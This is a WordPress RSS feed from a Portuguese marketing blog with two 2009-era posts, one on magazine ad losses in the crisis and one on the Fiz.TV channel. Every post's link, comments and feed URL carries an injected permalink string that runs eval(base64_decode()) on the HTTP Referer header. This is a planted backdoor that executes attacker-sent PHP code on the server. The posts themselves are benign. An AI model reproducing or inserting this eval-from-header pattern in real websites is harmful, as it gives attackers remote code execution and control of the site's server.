<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; online</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/online/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Deu no Blue Blus</title>
		<link>http://fullcircle.com.br/blog/2009/01/15/deu-no-blue-blus/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/01/15/deu-no-blue-blus/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 15 Jan 2009 17:48:09 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Propaganda]]></category>
		<category><![CDATA[Tendência]]></category>
		<category><![CDATA[anunciantes]]></category>
		<category><![CDATA[anúncios]]></category>
		<category><![CDATA[blue bus]]></category>
		<category><![CDATA[crise]]></category>
		<category><![CDATA[impresso]]></category>
		<category><![CDATA[mídia]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[paginas publicitarias]]></category>
		<category><![CDATA[prontofalei]]></category>
		<category><![CDATA[revista]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=127</guid>
		<description><![CDATA[CRISE &#124; Revistas nos EUA perderam 12% em paginas publicitarias
Se olharmos pelo lado bom, isso pode ser uma ótima oportunidade para se destacar no mercado.
Os anunciantes e empresas poderão anunciar mais em revistas, pois o preço vai cair.
Já as revistas poderão explorar mais a venda de anúncios e mídia também na Internet, oferecendo uma opção [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bluebus.com.br/show/2/88448/crise_revistas_nos_eua_perderam_12_em_paginas_publicitarias" target="_blank"><strong>CRISE | Revistas nos EUA perderam 12% em paginas publicitarias</strong></a></p>
<p>Se olharmos pelo lado bom, isso pode ser uma ótima oportunidade para se destacar no mercado.</p>
<p>Os anunciantes e empresas poderão anunciar mais em revistas, pois o preço vai cair.</p>
<p>Já as revistas poderão explorar mais a venda de anúncios e mídia também na Internet, oferecendo uma opção para os que não querem anunciar no meio impresso.</p>
<p>É só olhar a crise com outros olhos. Os de esperança, talvez.</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/01/15/deu-no-blue-blus/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Fiz.tv e um merchãzinho</title>
		<link>http://fullcircle.com.br/blog/2008/10/12/fiztv-e-um-merchazinho/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2008/10/12/fiztv-e-um-merchazinho/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 03:29:09 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Negócios]]></category>
		<category><![CDATA[Propaganda]]></category>
		<category><![CDATA[Variados]]></category>
		<category><![CDATA[abril]]></category>
		<category><![CDATA[cross-media]]></category>
		<category><![CDATA[fiz.tv]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[mídia]]></category>
		<category><![CDATA[non-media]]></category>
		<category><![CDATA[online]]></category>
		<category><![CDATA[Promocional]]></category>
		<category><![CDATA[web tv]]></category>
		<category><![CDATA[webtv]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=92</guid>
		<description><![CDATA[Esse canal de TV-UHF é bem interesante. Não sei se pega em todo lugar do Brasil, mas com a TV a cabo, tudo é possível. Não só com a TV a cabo, mas com a Internet, com o celular. Por isso que o canal é interessante.
Qualquer pessoa que fizer um vídeo pode concorrer a tê-lo [...]]]></description>
			<content:encoded><![CDATA[<p>Esse canal de TV-UHF é bem interesante. Não sei se pega em todo lugar do Brasil, mas com a TV a cabo, tudo é possível. Não só com a TV a cabo, mas com a Internet, com o celular. Por isso que o canal é interessante.</p>
<p>Qualquer pessoa que fizer um vídeo pode concorrer a tê-lo exibido na TV. E o melhor é que o canal começou apenas exibindo vídeos bem caseiros, e hoje já tem uma programação completa e diversificada. Tem ótimos curtas, videoclipes de bandas independentes bem produzidos, sátiras, nonsenses. Enfim, conteúdo de qualidade, e produzido pelo internautas. Como eles mesmo dizem, a Fiz.TV só organiza as coisas e põe na TV.</p>
<p>Agora, Já pensou que as empresas podem começar a patronizar estes &#8220;vídeos caseiros&#8221; em troca de um merchãzinho? Hum, se essas idéias pegarem&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2008/10/12/fiztv-e-um-merchazinho/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
